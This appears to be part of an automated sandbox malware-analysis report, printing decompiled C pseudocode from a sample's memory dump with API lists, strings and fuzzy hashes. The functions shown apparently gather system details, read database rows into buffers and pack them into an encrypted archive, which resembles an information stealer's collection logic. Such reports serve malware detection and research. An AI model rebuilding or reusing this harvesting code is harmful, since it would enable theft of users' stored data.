												__eflags = _v24;
												if(_v24 == 0) {
													_v352 = 0;
													_t422 =  *0x41401a; // 0x0
													_v1156 = _t422;
													_v1288 =  &_v308;
													_v1292 =  &_v884;
													_v1296 = _v1292;
													do {
														_v1297 =  *_v1288;
														 *_v1292 = _v1297;
														_v1288 = _v1288 + 1;
														_v1292 = _v1292 + 1;
														__eflags = _v1297;
													} while (_v1297 != 0);
													_v1304 =  &_v884;
													_t665 = _v1304 + 1;
													__eflags = _t665;
													_v1308 = _t665;
													do {
														_v1309 =  *_v1304;
														_v1304 = _v1304 + 1;
														__eflags = _v1309;
													} while (_v1309 != 0);
													_v1316 = _v1304 - _v1308;
													_v1188 = _v1316;
													__eflags = _v30 & 0x000000ff;
													if((_v30 & 0x000000ff) == 0) {
														L44:
														_t571 =  *0x41401a; // 0x0
														_v624 = _t571;
														_v896 = 0;
														_v1184 = 0;
														_v892 = 0;
														_v1180 = 0;
														_v888 = 0;
														_v1176 = 0;
														_v364 = 1;
														_v356 = 0;
														_v1170 = 0;
														_v1212 = 0xb17;
														_v1210 = 0x14;
														_v1204 = _v1248[0x1a];
														_v1200 = 0;
														_v1208 = 8;
														__eflags =  *_v1248;
														if( *_v1248 != 0) {
															__eflags = _v29 & 0x000000ff;
															if((_v29 & 0x000000ff) == 0) {
																_v1208 = 9;
															}
														}
														_v1168 = _v1208;
														_v1206 = _v28;
														__eflags = _v28;
														if(_v28 != 0) {
															L50:
															_v1328 = 0;
															goto L51;
														} else {
															_t643 = _v1248;
															__eflags =  *(_t643 + 0x70);
															if( *(_t643 + 0x70) < 0) {
																goto L50;
															}
															_v1328 = _v1248[0x1c] + _v320;
															L51:
															_v1196 = _v1328;
															_v1192 = _v1248[0x1c];
															_v1172 = 0;
															_v1164 = _v1248[0x13];
															_v1160 = _v1248[6] + _v1248[4];
															_v896 =  &_v344;
															_v1184 = 0x11;
															_v892 =  &_v44;
															_v1180 = 9;
															_v344 = 0x55;
															_v343 = 0x54;
															_v342 = 0xd;
															_v341 = 0;
															_v340 = 7;
															_v339 = _v1248[0x16];
															_v338 = E004139F0(_v1248[0x16], 8, _v1248[0x17]);
															_v337 = E004139F0(_v1248[0x16], 0x10, _v1248[0x17]);
															_v336 = E004139F0(_v1248[0x16], 0x18, _v1248[0x17]);
															_v335 = _v1248[0x14];
															_v334 = E004139F0(_v1248[0x14], 8, _v1248[0x15]);
															_v333 = E004139F0(_v1248[0x14], 0x10, _v1248[0x15]);
															_v332 = E004139F0(_v1248[0x14], 0x18, _v1248[0x15]);
															_v331 = _v1248[0x18];
															_v330 = E004139F0(_v1248[0x18], 8, _v1248[0x19]);
															_v329 = E004139F0(_v1248[0x18], 0x10, _v1248[0x19]);
															_v328 = E004139F0(_v1248[0x18], 0x18, _v1248[0x19]);
															memcpy(_v892, _v896, 9);
															 *((char*)(_v892 + 2)) = 5;
															_t459 = E004103F0( &_v1212, E00411D80, _v1248);
															_t752 = _t751 + 0xc;
															_v1216 = _t459;
															__eflags = _v1216;
															if(_v1216 == 0) {
																_v1248[6] = _v1188 + _v1184 + 0x1e + _v1248[6];
																_t597 = _v1248;
																__eflags =  *(_t597 + 0x14);
																if( *(_t597 + 0x14) == 0) {
																	_v1248[0xc] = 0x12345678;
																	_v1248[0xd] = 0x23456789;
																	_v1248[0xe] = 0x34567890;
																	_v1224 =  *_v1248;
																	while(1) {
																		__eflags = _v1224;
																		if(_v1224 == 0) {
																			break;
																		}
																		__eflags =  *_v1224;
																		if( *_v1224 == 0) {
																			break;
																		}
																		E00411430( &(_v1248[0xc]),  *_v1224 & 0x000000ff);
																		_t752 = _t752 + 8;
																		_t732 =  &(_v1224[1]);
																		__eflags = _t732;
																		_v1224 = _t732;
																	}
																	__eflags =  *0x41ac80 & 0x000000ff;
																	if(( *0x41ac80 & 0x000000ff) == 0) {
																		_t524 = GetTickCount();
																		__eflags = _t524 ^ GetDesktopWindow();
																		E0040B840(_t524 ^ GetDesktopWindow());
																		_t752 = _t752 + 4;
																	}
																	_v1228 = 0;
																	while(1) {
																		__eflags = _v1228 - 0xc;
																		if(_v1228 >= 0xc) {
																			break;
																		}
																		 *((char*)(_t750 + _v1228 - 0x10)) = E0040B850() >> 0x00000007 & 0x000000ff;
																		_t523 = _v1228 + 1;
																		__eflags = _t523;
																		_v1228 = _t523;
																	}
																	_v9 = _v1204 >> 0x00000008 & 0x000000ff;
																	_v1232 = 0;
																	while(1) {
																		__eflags = _v1232 - 0xc;
																		if(__eflags >= 0) {
																			break;
																		}
																		_t516 = E004114E0(_v1232, __eflags,  &(_v1248[0xc]),  *(_t750 + _v1232 - 0x10) & 0x000000ff);
																		_t752 = _t752 + 8;
																		 *(_t750 + _v1232 - 0x10) = _t516;
																		_t518 = _v1232 + 1;
																		__eflags = _t518;
																		_v1232 = _t518;
																	}
																	__eflags =  *_v1248;
																	if( *_v1248 != 0) {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) == 0) {
																			E00411D80( &_v20, _v1248,  &_v20, 0xc);
																			_t752 = _t752 + 0xc;
																			_t634 = _v1248[6] + 0xc;
																			__eflags = _t634;
																			_v1248[6] = _t634;
																		}
																	}
																	_v8 = 0;
																	__eflags =  *_v1248;
																	if( *_v1248 == 0) {
																		L76:
																		_v1332 = 0;
																		goto L77;
																	} else {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			goto L76;
																		}
																		_v1332 = 1;
																		L77:
																		_v1248[0xb] = _v1332;
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			L80:
																			__eflags = _v29 & 0x000000ff;
																			if((_v29 & 0x000000ff) != 0) {
																				L83:
																				__eflags = _v29 & 0x000000ff;
																				if((_v29 & 0x000000ff) != 0) {
																					_v1248[0x24] = 0;
																				}
																				L85:
																				_v1248[0xb] = 0;
																				E00412630(_v1248);
																				_v1248[6] = _v1248[6] + _v1248[0x24];
																				_t704 = _v1248;
																				__eflags =  *(_t704 + 0x14);
																				if( *(_t704 + 0x14) == 0) {
																					__eflags = _v8;
																					if(_v8 == 0) {
																						__eflags = _v1196 - _v1248[0x24] + _v320;
																						_v313 = 0 | _v1196 == _v1248[0x24] + _v320;
																						_v1200 = _v1248[0x1e];
																						_v1196 = _v1248[0x24] + _v320;
																						_v1192 = _v1248[0x1c];
																						_t609 = _v1248;
																						__eflags =  *(_t609 + 0x1c) & 0x000000ff;
																						if(( *(_t609 + 0x1c) & 0x000000ff) == 0) {
																							L101:
																							__eflags = (_v1206 & 0x0000ffff) - (_v28 & 0x0000ffff);
																							if((_v1206 & 0x0000ffff) == (_v28 & 0x0000ffff)) {
																								__eflags = _v28;
																								if(_v28 != 0) {
																									L106:
																									_v1216 = E00410800( &_v1212, E00411D80, _v1248);
																									__eflags = _v1216;
																									if(_v1216 == 0) {
																										_t713 = _v1248[6] + 0x10;
																										__eflags = _t713;
																										_v1248[6] = _t713;
																										_v1208 = _v1168;
																										L109:
																										_t714 = _v1248;
																										__eflags =  *(_t714 + 0x14);
																										if( *(_t714 + 0x14) == 0) {
																											_v1240 = E0040B590(_v1180, _v1180);
																											_v312 = _v1240;
																											memcpy(_v312, _v892, _v1180);
																											_v892 = _v312;
																											_v1244 = E0040B590(_v892, 0x360);
																											_v324 = _v1244;
																											memcpy(_v324,  &_v1212, 0x360);
																											_t615 = _v1248;
																											__eflags =  *(_t615 + 0x44);
																											if( *(_t615 + 0x44) != 0) {
																												_v1236 = _v1248[0x11];
																												while(1) {
																													_t485 = _v1236;
																													__eflags =  *(_t485 + 0x35c);
																													if( *(_t485 + 0x35c) == 0) {
																														break;
																													}
																													_v1236 =  *((intOrPtr*)(_v1236 + 0x35c));
																												}
																												 *((intOrPtr*)(_v1236 + 0x35c)) = _v324;
																												L117:
																												__eflags = 0;
																												return 0;
																											}
																											_v1248[0x11] = _v324;
																											goto L117;
																										}
																										return _v1248[5];
																									}
																									return 0x400;
																								}
																								__eflags = _v313 & 0x000000ff;
																								if((_v313 & 0x000000ff) != 0) {
																									goto L106;
																								}
																								return 0x4000000;
																							}
																							return 0x4000000;
																						}
																						__eflags =  *_v1248;
																						if( *_v1248 == 0) {
																							L92:
																							_v1206 = _v28;
																							__eflags = _v1208 & 1;
																							if((_v1208 & 1) == 0) {
																								_t627 = _v1208 & 0xfff7;
																								__eflags = _t627;
																								_v1208 = _t627;
																							}
																							_v1168 = _v1208;
																							_t498 = E00411F30(_v1248, _v1160 - _v1248[4]);
																							__eflags = _t498 & 0x000000ff;
																							if((_t498 & 0x000000ff) != 0) {
																								_v1216 = E004103F0( &_v1212, E00411D80, _v1248);
																								__eflags = _v1216;
																								if(_v1216 == 0) {
																									_t502 = E00411F30(_v1248, _v1248[6]);
																									__eflags = _t502 & 0x000000ff;
																									if((_t502 & 0x000000ff) != 0) {
																										goto L109;
																									}
																									return 0x2000000;
																								}
																								return 0x400;
																							} else {
																								return 0x2000000;
																							}
																						}
																						__eflags = _v29 & 0x000000ff;
																						if((_v29 & 0x000000ff) == 0) {
																							goto L101;
																						}
																						goto L92;
																					}
																					return 0x400;
																				}
																				return _v1248[5];
																			}
																			__eflags = _v28;
																			if(__eflags != 0) {
																				goto L83;
																			}
																			_v8 = E00412850(_v1248, __eflags);
																			goto L85;
																		}
																		__eflags = _v28 - 8;
																		if(_v28 != 8) {
																			goto L80;
																		}
																		_t510 = E004126C0(_v1248,  &_v1212); // executed
																		_v8 = _t510;
																		goto L85;
																	}
																}
																E00412630(_v1248);
																return _v1248[5];
															}
															E00412630(_v1248);
															return 0x400;
														}
													}
													_t736 =  &_v884 + 0xffffffff;
													__eflags = _t736;
													_v1320 = _t736;
													do {
														_v1321 =  *((intOrPtr*)(_v1320 + 1));
														_v1320 = _v1320 + 1;
														__eflags = _v1321;
													} while (_v1321 != 0);
													_t737 = "/"; // 0x2f
													 *_v1320 = _t737;
													_t539 = _v1188 + 1;
													__eflags = _t539;
													_v1188 = _t539;
													goto L44;
												}
												return _v24;
											}
											_v24 = E004122A0(_v1248, _a8, _a12);
											goto L34;
										}
										_v24 = E004120F0(_v1248, _a8, _a12);
										goto L34;
									}
									_v24 = E00412020(_v1248, _a8);
									goto L34;
								}
								_t545 = E00411520(_t563,  &_v308);
								_t751 = _t751 + 4;
								__eflags = _t545 & 0x000000ff;
								if((_t545 & 0x000000ff) == 0) {
									goto L25;
								}
								goto L24;
							}
							_v1268 =  &_v308;
							_t548 = _v1268 + 1;
							__eflags = _t548;
							_v1272 = _t548;
							do {
								_v1273 =  *_v1268;
								_v1268 = _v1268 + 1;
								__eflags = _v1273;
							} while (_v1273 != 0);
							_v1280 = _v1268 - _v1272;
							_t652 = _v1280;
							__eflags =  *((char*)(_t750 + _t652 - 0x131)) - 0x2f;
							if( *((char*)(_t750 + _t652 - 0x131)) == 0x2f) {
								goto L21;
							}
							_v1284 = 1;
							goto L22;
						}
						return 0x10000;
					}
					return 0x50000;
				}
				return 0x40000;
			}

0x004128db
0x004128eb
0x004128f7
0x00412901
0x00412903
0x0041290f
0x0041291f
0x00412922
0x00412924
0x00412928
0x0041292a
0x0041292a
0x00412928
0x00412937
0x00412943
0x0041294f
0x00412955
0x0041295d
0x0041296f
0x0041297a
0x00412989
0x0041298f
0x0041298f
0x0041299f
0x004129a1
0x004129b3
0x004129b9
0x004129c2
0x004129c4
0x00000000
0x00000000
0x004129cf
0x004129d2
0x004129da
0x004129da
0x004129e6
0x004129e6
0x004129f0
0x004129f7
0x004129fe
0x00412a00
0x00412a6c
0x00412a6c
0x00412a76
0x00412a7c
0x00412a7f
0x00412a86
0x00412a8a
0x00412a8c
0x00412aa4
0x00412aa4
0x00412aab
0x00412aab
0x00412aaf
0x00412ac5
0x00412ac9
0x00412ae3
0x00412ae7
0x00412b01
0x00412b05
0x00000000
0x00412b17
0x00412b12
0x00412b21
0x00412b21
0x00412b25
0x00412b2f
0x00412b39
0x00412b3e
0x00412b4a
0x00412b56
0x00412b62
0x00412b68
0x00412b70
0x00412b82
0x00412b8d
0x00412b9c
0x00412ba2
0x00412ba2
0x00412bb1
0x00412bbd
0x00412bbd
0x00412bc0
0x00412bc6
0x00412bce
0x00412bd4
0x00412bdb
0x00412bdb
0x00412bf0
0x00412bfc
0x00412c06
0x00412c08
0x00412c57
0x00412c57
0x00412c5d
0x00412c63
0x00412c6d
0x00412c77
0x00412c81
0x00412c8b
0x00412c95
0x00412c9f
0x00412ca9
0x00412cb5
0x00412cc1
0x00412ccd
0x00412cdd
0x00412ce3
0x00412cf2
0x00412cff
0x00412d02
0x00412d08
0x00412d0a
0x00412d11
0x00412d11
0x00412d0a
0x00412d1f
0x00412d2a
0x00412d31
0x00412d35
0x00412d5a
0x00412d5a
0x00000000
0x00412d37
0x00412d37
0x00412d3d
0x00412d41
0x00000000
0x00000000
0x00412d52
0x00412d64
0x00412d6a
0x00412d79
0x00412d81
0x00412d91
0x00412da9
0x00412db5
0x00412dbb
0x00412dc8
0x00412dce
0x00412dd8
0x00412ddf
0x00412de6
0x00412ded
0x00412df4
0x00412e04
0x00412e1d
0x00412e36
0x00412e4f
0x00412e5e
0x00412e77
0x00412e90
0x00412ea9
0x00412eb8
0x00412ed1
0x00412eea
0x00412f03
0x00412f19
0x00412f25
0x00412f3c
0x00412f41
0x00412f44
0x00412f4a
0x00412f51
0x00412f87
0x00412f8a
0x00412f90
0x00412f94
0x00412fb5
0x00412fc2
0x00412fcf
0x00412fde
0x00412ff5
0x00412ff5
0x00412ffc
0x00000000
0x00000000
0x00413007
0x00413009
0x00000000
0x00000000
0x0041301f
0x00413024
0x00412fec
0x00412fec
0x00412fef
0x00412fef
0x00413030
0x00413032
0x00413034
0x00413042
0x00413045
0x0041304a
0x0041304a
0x0041304d
0x00413068
0x00413068
0x0041306f
0x00000000
0x00000000
0x00413084
0x0041305f
0x0041305f
0x00413062
0x00413062
0x00413099
0x0041309c
0x004130b7
0x004130b7
0x004130be
0x00000000
0x00000000
0x004130d6
0x004130db
0x004130e4
0x004130ae
0x004130ae
0x004130b1
0x004130b1
0x004130f0
0x004130f3
0x004130f9
0x004130fb
0x0041310a
0x0041310f
0x0041311b
0x0041311b
0x00413124
0x00413124
0x004130fb
0x00413127
0x00413134
0x00413137
0x0041314d
0x0041314d
0x00000000
0x00413139
0x0041313d
0x0041313f
0x00000000
0x00000000
0x00413141
0x00413157
0x00413163
0x0041316a
0x0041316c
0x0041318b
0x0041318f
0x00413191
0x004131a9
0x004131ad
0x004131af
0x004131b7
0x004131b7
0x004131c1
0x004131c7
0x004131d1
0x004131f1
0x004131f4
0x004131fa
0x004131fe
0x0041320e
0x00413212
0x00413232
0x0041323b
0x0041324a
0x00413262
0x00413271
0x00413277
0x00413281
0x00413283
0x00413361
0x0041336c
0x0041336e
0x0041337a
0x0041337e
0x00413395
0x004133b0
0x004133b6
0x004133bd
0x004133d2
0x004133d2
0x004133db
0x004133e5
0x004133ec
0x004133ec
0x004133f2
0x004133f6
0x00413415
0x00413421
0x0041343c
0x00413448
0x0041345b
0x00413467
0x00413480
0x00413486
0x0041348c
0x00413490
0x004134ac
0x004134b2
0x004134b2
0x004134b8
0x004134bf
0x00000000
0x00000000
0x004134cd
0x004134cd
0x004134e1
0x004134e7
0x004134e7
0x00000000
0x004134e7
0x0041349e
0x00000000
0x0041349e
0x00000000
0x004133fe
0x00000000
0x004133bf
0x00413387
0x00413389
0x00000000
0x00000000
0x00000000
0x0041338b
0x00000000
0x00413370
0x0041328f
0x00413292
0x004132a0
0x004132a4
0x004132b2
0x004132b5
0x004132be
0x004132be
0x004132c1
0x004132c1
0x004132cf
0x004132ec
0x004132f4
0x004132f6
0x0041331d
0x00413323
0x0041332a
0x00413346
0x0041334e
0x00413350
0x00000000
0x0041335c
0x00000000
0x00413352
0x00000000
0x004132f8
0x00000000
0x004132f8
0x004132f6
0x00413298
0x0041329a
0x00000000
0x00000000
0x00000000
0x0041329a
0x00000000
0x00413214
0x00000000
0x00413206
0x00413193
0x00413197
0x00000000
0x00000000
0x004131a4
0x00000000
0x004131a4
0x0041316e
0x00413172
0x00000000
0x00000000
0x00413181
0x00413186
0x00000000
0x00413186
0x00413137
0x00412f9c
0x00000000
0x00412fa7
0x00412f59
0x00000000
0x00412f5e
0x00412d35
0x00412c10
0x00412c10
0x00412c13
0x00412c19
0x00412c22
0x00412c28
0x00412c2f
0x00412c2f
0x00412c3e
0x00412c45
0x00412c4e
0x00412c4e
0x00412c51
0x00000000
0x00412c51
0x00000000
0x00412b27
0x00412afc
0x00000000
0x00412afc
0x00412ade
0x00000000
0x00412ade
0x00412ac0
0x00000000
0x00412ac0
0x00412a95
0x00412a9a
0x00412aa0
0x00412aa2
0x00000000
0x00000000
0x00000000
0x00412aa2
0x00412a08
0x00412a14
0x00412a14
0x00412a17
0x00412a1d
0x00412a25
0x00412a2b
0x00412a32
0x00412a32
0x00412a47
0x00412a4d
0x00412a5b
0x00412a5e
0x00000000
0x00000000
0x00412a60
0x00000000
0x00412a60
0x00000000
0x004129a3
0x00000000
0x00412905
0x00000000

Strings

in-gdi-devcaps-l1-1-0, xrefs: 00412905
T, xrefs: 00412DDF
U, xrefs: 00412DD8

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: T$U$in-gdi-devcaps-l1-1-0
API String ID: 0-288398438
Opcode ID: 2bf3ffbad93d0af547c7b721bbb462a3e5f9b77f0fa106bcee6d2d6edbab0e33
Instruction ID: 00dce716d0ee67761e045a8ccd0c621d7d797fa176ed0ca347538d8e8b3760a6
Opcode Fuzzy Hash: 2bf3ffbad93d0af547c7b721bbb462a3e5f9b77f0fa106bcee6d2d6edbab0e33
Instruction Fuzzy Hash: 477228B4A052698FDB24CF14C990BEABBB1BF49305F1480DAD909A7342D7389EC5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				void* _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x7c8190
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x7c2638
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t40;
					while(1) {
						_t41 =  *0x41a804(_v280); // executed
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086d6
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Strings

8&|, xrefs: 004086AC

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: 8&|
API String ID: 3196222039-1330959113
Opcode ID: 340ca0eb144f517e02d05f8716fdd593d709ac7e3989bb53e3aa0ae354c4a9b9
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: 340ca0eb144f517e02d05f8716fdd593d709ac7e3989bb53e3aa0ae354c4a9b9
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				void* _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x7c7fb0
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x7c6320
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v280 = _t40;
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081dc
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Strings

c|, xrefs: 004081AF

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: c|
API String ID: 3196222039-3496974977
Opcode ID: 290ba4ca4305ba91cbd10b7fe59d6784cbbb75d076a5e41c729a90a8f09e5b54
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 290ba4ca4305ba91cbd10b7fe59d6784cbbb75d076a5e41c729a90a8f09e5b54
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84); // executed
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x7c6ef0
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a); // executed
				_t46 =  *0x41a574; // 0x7c6f20
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x7c6fe0
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x7c6f38
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10); // executed
				_t58 =  *0x41a494; // 0x7c7040
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32); // executed
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
